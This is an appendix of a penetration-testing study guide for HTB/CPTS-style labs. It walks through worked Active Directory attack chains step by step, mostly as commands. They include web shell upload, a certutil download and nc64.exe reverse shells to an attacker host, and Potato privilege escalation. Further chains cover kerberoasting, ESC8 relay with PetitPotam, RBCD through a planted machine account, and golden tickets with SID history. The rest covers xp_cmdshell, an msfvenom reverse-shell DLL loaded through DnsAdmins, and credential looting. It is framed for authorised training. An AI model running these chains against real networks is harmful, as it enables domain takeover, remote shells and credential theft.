FLOW ^: Pentest Workflow

Appendix — Worked Chains

CPTS attack-flow reference for appendix — worked chains in an authorised engagement.

advanced updated 2026-08-29 NetExec · Impacket · BloodHound CE · Certipy

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 16 of 17 · Focus: Appendix — Worked Chains

Previous: Stage 11 — Documentation and Reporting · Next: Tool Index


🧬 APPENDIX — Worked Chains (real boxes, stage-mapped)

The guide is organised by technique; this is the other axis — how the techniques compose on real boxes. Each chain is annotated with the guide’s stages [S#] so you can see the pattern and jump to the deep section. Pattern-recognition beats memorising commands: most AD boxes are enum → a foothold cred → BloodHound → one ACL/roast edge → DCSync.

Stage map: [S0]=Passive Recon · [S1]=Host Discovery · [S2]=Web · [S3]=Service Enum · [S4]=AD Enum · [S5]=Kerberos · [S6]=ACL Abuse · [S7]=ADCS · [S8]=Passwords · [S9]=PrivEsc · [S10]=Lateral/Loot · Trusts=Cross-Forest.

[!tip] The universal AD shape [S1] scan → [S3/S4] null/anon enum for users+shares → a first credential (share loot, AS-REP roast, password in a description, a poisoned hash) → [S4] BloodHound as that user[S5/S6/S7] the one edge that escalates (roast / ACL / delegation / ESC) → [S10] DCSync + PtH the Administrator. Every new cred = re-run BloodHound.

Universal AD chainTD
Web foothold
Local privesc
AD enum + BloodHound
Kerberoast
ACL edge
ADCS ESC
Relay / RBCD
DCSync / DA
Cross-forest via trusts

[!warning] Authorized lab use All chains below assume an authorized HTB/CPTS-style lab. Every AD write (ACEs, SPNs, RBCD, shadow creds) is reversible — record what you change and revert it (Stage 06 OPSEC).


Chain A — External web → foothold → privesc → DA (kerberoast + ESC8)

The classic CPTS capstone shape: internet-facing web app on a domain-joined host, then the full internal AD grind. MITRE: T1190 (Exploit Public-Facing Application) → T1558.003 (Kerberoasting) → T1649 (ESC8).

  1. [S0/S1] Recon. Subdomains, ports, vhosts:
    nmap -sCV -p- --min-rate 2000 -oA full $IP
    ffuf -u http://$TARGET -H "Host: FUZZ.$TARGET" -w $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt
  2. [S2] Web → RCE. Enumerate the app (ffuf dirs, tech fingerprint, known CVE). Upload a webshell matched to the stack — stage from the toolkit: nt-webshell-rosepine.aspx (SHA-256 · GPG signature) for IIS, rp-shell.php (SHA-256 · GPG signature) for PHP, rp-shell.jsp (SHA-256 · GPG signature) for Tomcat (classic ASP: rp-shell.asp (SHA-256 · GPG signature)).
    certutil -urlcache -split -f http://$LHOST:8000/nc64.exe C:\Windows\Temp\nc64.exe
    C:\Windows\Temp\nc64.exe $LHOST 443 -e cmd.exe
    Toolkit: nc64.exe (SHA-256 · GPG signature)
  3. [S9] Local privesc (if the shell lands as a service account — often iis apppool\... with SeImpersonatePrivilege):
    .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc64.exe $LHOST 444 -e cmd.exe"
    Toolkit: GodPotato-NET4.exe (SHA-256 · GPG signature) (or GodPotato-NET35.exe, PrintSpoofer64.exe, SweetPotato.exe — pick per OS build/Spooler state; see Stage 09).
  4. [S4] BloodHound as the foothold user/machine:
    bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $DCIP -c All --zip
    On-host alternative: SharpHound.zip (SHA-256 · GPG signature)
  5. [S5] Kerberoast an SPN account visible in the graph:
    GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip $DCIP -request -outputfile kerb.hash
    hashcat -m 13100 kerb.hash $ROCKYOU -r /usr/share/hashcat/rules/best64.rule
    Deep dive: Stage 05.
  6. [S7] The cracked service account can reach AD CS. Find and exploit ESC8 (web enrollment + no EPA):
    certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $DCIP -vulnerable -stdout
    ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
    PetitPotam.py -u "$U" -p "$P" -d $DOMAIN $LHOST $DCIP    # coerce DC auth to the relay
    Toolkit: PetitPotam.py (SHA-256 · GPG signature) · certipy: Certipy · relay: Impacket ntlmrelayx.
  7. [S10] Use the relayed DC cert → DCSync: the relay already dropped DC01$.pfx — no manual req needed (the DomainController template has no enrollee-supplies-subject anyway):
    certipy-ad auth -pfx 'DC01$.pfx' -dc-ip $DCIP       # -> DC01$ NT hash (+TGT)
    secretsdump.py "$DOMAIN/DC01\$@$DC" -hashes :$NT -just-dc   # DCSync as the DC itself
  8. Document & revert. Capture proof (secretsdump output, cert request IDs), remove the webshell and staged binaries, log ESC8 remediation (Stage 11).

[!example] When to reach for this chain Any box where the only ingress is 80/443 and the DC is not directly reachable. The web foothold host is your pivot into [S4].

[!opsec] Detection notes Webshells (T1505.003) are the #1 caught artifact — use a random name, delete after. Coercion + relay (T1187, T1557.001) fires Defender for Identity and creates Event 4768/4769 anomalies. ESC8 cert requests appear on the CA — note request IDs for cleanup.


Chain B — ASREPRoast → GenericWrite → targeted kerberoast → DCSync

No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasting) → T1558.003 → T1003.006 (DCSync).

  1. [S4] Build a user list without creds:
    kerbrute userenum --dc $DCIP -d $DOMAIN $SECLISTS/Usernames/xato-net-10-million-usernames.txt
    enum4linux-ng -A $IP | tee enum.txt     # or rpcclient -U "" -N → enumdomusers
    Toolkit: kerbrute_linux_amd64 (SHA-256 · GPG signature)
  2. [S5] AS-REP roast the list (Stage 05):
    GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DCIP -outputfile asrep.hash
    hashcat -m 18200 asrep.hash $ROCKYOU
  3. [S4] BloodHound as the cracked user (bloodhound-ce-python -c All) — the graph shows GenericWrite on a privileged service account (e.g. svc_sql).
  4. [S6] Targeted kerberoast — write an SPN onto the victim, roast it, clean up:
    targetedKerberoast.py -d $DOMAIN -u "$U" -p "$P" --request-user svc_sql -o targeted.hash
    hashcat -m 13100 targeted.hash $ROCKYOU
    Toolkit: targetedKerberoast.py (SHA-256 · GPG signature) — it removes the SPN afterwards; verify anyway (Get-ADUser svc_sql -Properties servicePrincipalName).
  5. [S6] The cracked svc_sql has GenericAll/WriteDACL on a DA-path group (or the domain root). Add DCSync rights:
    bloodyAD --host $DCIP -d $DOMAIN -u "$U" -p "$P" add dcsync svc_sql
    # or: dacledit.py -action write -rights DCSync -principal svc_sql -target-dn "DC=corp,DC=local" "$DOMAIN/$U:$P" -dc-ip $DCIP
    On-host equivalent: StandIn_v13_Net35_45.zip (SHA-256 · GPG signature)
  6. [S10] DCSync and PtH:
    secretsdump.py "$DOMAIN/svc_sql:$P@$DC" -just-dc-user administrator
    evil-winrm -i $DCIP -u administrator -H $NT
  7. Revert: remove the DCSync ACE (bloodyAD remove dcsync svc_sql), confirm the SPN cleanup, log it.

[!warning] Pitfalls

  • AS-REP hash mode is 18200, not 13100 — read the $krb5asrep$ prefix.
  • GenericWrite ≠ instant roast: you need the SPN write (targetedKerberoast) or shadow credentials (pywhisker / Whisker.exe (SHA-256 · GPG signature)).
  • WriteDACL on the domain root → DCSync; on a user → targeted roast/shadow creds; on a group → add member. Pick per object type.

Chain C — No creds at all: LLMNR poison → relay → LDAP → RBCD

For flat networks where SMB signing is off and LDAP signing/channel binding aren’t enforced. MITRE: T1557.001 (LLMNR/NBT-NS Poisoning) → T1003.006 via delegation abuse.

  1. [S3] Poison and capture (Stage 03):
    sudo responder -I eth0 -dwv
    # Windows-side when already on a host: Inveigh
    Toolkit: Inveigh.ps1 (SHA-256 · GPG signature) (Invoke-Inveigh -ConsoleOutput Y).
  2. Crack any NetNTLMv2 that drops (hashcat -m 5600) — even one weak user unlocks [S4] BloodHound.
  3. [S3] Relay instead of crack — check signing first:
    nxc smb $SUBNET --gen-relay-list relay.txt     # hosts with signing disabled
  4. Relay to LDAP(S) → configure RBCD. Start ntlmrelayx and drop a controlled machine account (Stage 06):
    ntlmrelayx.py -t ldap://$DCIP -smb2support --delegate-access --escalate-user 'EVILPC$' -l loot
    addcomputer.py -computer-name 'EVILPC$' -computer-pass 'Ev1lPass!' "$DOMAIN/$U:$P" -dc-ip $DCIP  # if MAQ>0 and no relay create
    Trigger a lookup (responder -I eth0 + browse, or coerce with PetitPotam/Coercer) and the victim machine’s msDS-AllowedToActOnBehalfOfOtherIdentity now trusts EVILPC$.
  5. [S5] S4U2Self → S4U2Proxy — impersonate Administrator to the victim:
    getST.py "$DOMAIN/EVILPC$:Ev1lPass!" -spn cifs/victim.$DOMAIN -impersonate administrator -dc-ip $DCIP
    export KRB5CCNAME=administrator@cifs_victim.$DOMAIN@$DOMAIN.ccache
    psexec.py -k -no-pass victim.$DOMAIN
  6. [S10] Loot & pivot: secretsdump.py -k the victim, pivot onward with ligolo-ng — ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature) / ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature) + chisel.exe (SHA-256 · GPG signature) / chisel_linux_amd64 (SHA-256 · GPG signature).

[!opsec] Relay caveats Relaying is loud: LLMNR/NBT-NS broadcasts + auth coercion are textbook Defender for Identity / honeypot bait (T1557.001). Never relay to a DC unless the engagement says so; never disable the Spooler service as a “fix” on a production box. LDAP relay requires LDAP signing off and (for LDAPS) channel binding off — check with nxc ldap $DCIP -u '' -p '' -M ldap-checker style modules before burning time.


Chain D — DA in child domain → forest root → cross-forest (SID history)

The trusts capstone. MITRE: T1134 (SID-History Injection), T1550.003 (PtT). Deep dive: Domain Trusts and Cross-Forest.

  1. Map the trust topology (on-host: nltest /domain_trusts, or PowerView Get-DomainTrustPowerView.ps1 (SHA-256 · GPG signature)):
    ldeep ldap -u "$U" -p "$P" -d child.$DOMAIN -s ldap://$DCIP trusts
  2. Child → parent (intra-forest). Trust key → golden ticket with SID history (Enterprise Admins RID 519):
    lookupsid.py "$DOMAIN/$U:$P@$DCIP" | head -3     # child domain SID
    secretsdump.py child/administrator@child-dc.child.$DOMAIN -just-dc-user 'CHILD\krbtgt' -hashes :$NT
    ticketer.py -nthash <KRBTGT_NT> -domain child.$DOMAIN -domain-sid S-1-5-21-... -extra-sid S-1-5-21-<PARENT>-519 administrator
    raiseChild.py child.$DOMAIN/$U:"$P"     # one-shot alternative
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k parent.$DOMAIN/administrator@parent-dc.parent.$DOMAIN -just-dc
  3. Forest → trusting forest (external/forest trust). From DA in forest A, dump the trust account hash for forest B:
    mimikatz.exe "lsadump::trust /patch" "exit"
    # or: secretsdump.py ... (trust accounts end in '$', e.g. TRUSTEDDOM$)
    ticketer.py -nthash <TRUST_NT> -domain forest-a.local -domain-sid S-1-5-21-A -extra-sid S-1-5-21-B-519 administrator
    Toolkit: mimikatz_trunk.zip (SHA-256 · GPG signature)
  4. [S10] Consume the ticket in the trusting forest: KRB5CCNAME=... secretsdump.py -k admin@dc.forest-b.local -just-dc.

[!warning] Gotchas

  • SID filtering on external trusts strips SIDs <1000 from other forests — but intra-forest (parent↔child) never filters, which is why child→root always works. Extra SID -519 (Enterprise Admins) for intra-forest; for cross-forest you may be limited to RIDs ≥1000 — inject a known admin group RID from forest B instead.
  • RC4 trust keys are the norm; if KDC_ERR_ETYPE_NOSUPP, use AES (-aesKey).
  • Trust tickets are time-sensitive — faketime/ntpdate first (Dashboard Quick Setup).

SQL Server is a privilege-escalation engine when links and sysadmin line up. MITRE: T1505.001 (SQL Stored Procedures) → T1134 (Token Impersonation).

  1. [S3] Find MSSQL and authenticate (creds from spray/roast/loot):
    nxc mssql $SUBNET -u "$U" -p "$P" --local-auth
    mssqlclient.py "$DOMAIN/$U:$P@$IP" -windows-auth
  2. Enable xp_cmdshell for a command channel:
    EXEC sp_configure 'show advanced options',1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
    EXEC xp_cmdshell 'whoami';
    Or directly from nxc: nxc mssql $IP -u "$U" -p "$P" --local-auth -x whoami.
  3. Enumerate linked servers and impersonate along the chain:
    EXEC sp_linkedservers;
    SELECT IS_SRVROLEMEMBER('sysadmin');
    EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT LINKED02;
    EXEC ('EXEC xp_cmdshell ''whoami''') AT LINKED02;
    nxc shortcut: nxc mssql $IP -u "$U" -p "$P" -M mssql_priv (finds impersonation paths). Each hop may re-authenticate as a more privileged login — walk links until you land sysadmin on a high-value box. Metasploit’s mssql_linkcrawler automates the crawl.
  4. [S9] SeImpersonate → SYSTEM. SQL service accounts (nt service\mssqlserver) almost always hold SeImpersonatePrivilege:
    .\GodPotato-NET4.exe -cmd "net localgroup administrators $U /add"
    Toolkit: GodPotato-NET4.exe (SHA-256 · GPG signature) — fallbacks: PrintSpoofer64.exe (SHA-256 · GPG signature) (needs Spooler running), SweetPotato.exe (SHA-256 · GPG signature), legacy JuicyPotato.exe (SHA-256 · GPG signature) on pre-2019 builds.
  5. [S10] Loot the host: dump local creds with LaZagne.exe (SHA-256 · GPG signature), DPAPI blobs with SharpDPAPI.exe (SHA-256 · GPG signature), then hunt domain shares with Snaffler.exe (SHA-256 · GPG signature) — SQL boxes often hold connection strings with cleartext domain creds, feeding you back to [S4].

[!tip] CPTS exam tip MSSQL on 1433 with weak/linked creds is a favourite CPTS escalation. Always check sp_linkedservers and impersonation before reaching for kernel exploits — the intended path is usually one EXEC ... AT LINK away.


Chain F — HTB box patterns (Forest · Resolute · Fluffy)

Forest — AS-REP → Exchange-perms WriteDACL → DCSync

  1. [S3] RPC/LDAP null session lists domain users (rpcclient -U "" -Nenumdomusers).
  2. [S5] svc-alfresco has no Kerberos preauth → AS-REP roast (GetNPUsers.py -no-pass) → crack (hashcat -m 18200 against $ROCKYOU).
  3. [S4] BloodHound as svc-alfresco: it’s in Account Operators + Exchange Windows Permissions (WriteDACL on the domain root).
  4. [S6] grant self DCSync (dacledit.py -action write -rights DCSync / bloodyAD add dcsync).
  5. [S10] secretsdump.py -just-dc → PtH Administrator (evil-winrm -H $NT). Note: HTB-Forest.

Resolute — password in a description → spray → DnsAdmins DLL → SYSTEM

  1. [S4] LDAP/RPC enum surfaces a cleartext password in a user description field (Welcome123!) — always grep descriptions and info fields (Stage 04).
  2. [S8] spray it across all users (nxc smb $DCIP -u users.txt -p 'Welcome123!' --continue-on-success) → hits melanie (Stage 08).
  3. [S10] WinRM in (evil-winrm -u melanie -p ...) → hunt the host, find creds for ryan (registry AutoLogon, console history).
  4. ryan is in DnsAdmins[S9] load a malicious DLL into the DNS service:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > rev.dll
    dnscmd $DC /config /serverlevelplugindll \\$LHOST\smb\rev.dll
    sc \\$DC stop dns && sc \\$DC start dns
    → SYSTEM on the DC. Note: Resolute.

Fluffy — file-format NTLM capture → Shadow Creds → ADCS

  1. [S3] writable SMB share → drop a malicious .library-ms (CVE-2025-24071) so opening the share coerces NTLM auth → capture with Responder.
  2. [S8] crack j.fleischman (hashcat -m 5600).
  3. [S4] BloodHound: GenericWrite onto service accounts.
  4. [S6] Shadow Credentials (bloodyAD add shadowCredentials / pywhisker) to take winrm_svc, then again onto ca_svc. On-host equivalent: Whisker.exe (SHA-256 · GPG signature).
  5. [S7] ca_svc can enroll a vulnerable template → ADCS ESC (certipy-ad find -vulnerablereqauth) → auth as DA → [S10] own the domain. Notes: HTB-Fluffy · Fluffy Attack Plan.

The web-to-AD pattern (many CPTS/AEN boxes)

[S0/S2] external recon + web enum finds an app → [S2] an app-specific exploit (upload/LFI/known-CVE/thick-client creds) → foothold shell on a domain-joined host → [S9] local privesc if needed → [S4] you’re now inside AD: BloodHound + LDAP cookbook as the machine/user → follow the AD shape above. The Attacking Enterprise Networks capstone is exactly this, end to end — see that sheet for the full INLANEFREIGHT chain written out command by command. Chain A above is this pattern written out step by step.

[!note] More box notes to mine for patterns Garfield (Season 10), the Pro-Lab chains (Dante, Zephyr), and the AD Track. Same shape scaled up: multiple hosts, pivots between segments (Stage 10), and trusts (Cross-Forest) once you’re DA in the first domain.

[!example] Pattern-recognition cheat table

BoxFirst credEscalation edgeDA via
ForestAS-REP roast (svc-alfresco)Exchange WriteDACL on domainDCSync
ResoluteDescription-field password → sprayDnsAdminsMalicious DNS plugin DLL
FluffyNTLM capture via .library-msGenericWrite → Shadow CredsADCS ESC enroll
Typical CPTSShare loot / kerberoastOne ACL or ESC edgeDCSync + PtH

[!navigation] Continue the attack flow Previous: Stage 11 — Documentation and Reporting

Dashboard: HTB Pentest Attack Flow

Next: Tool Index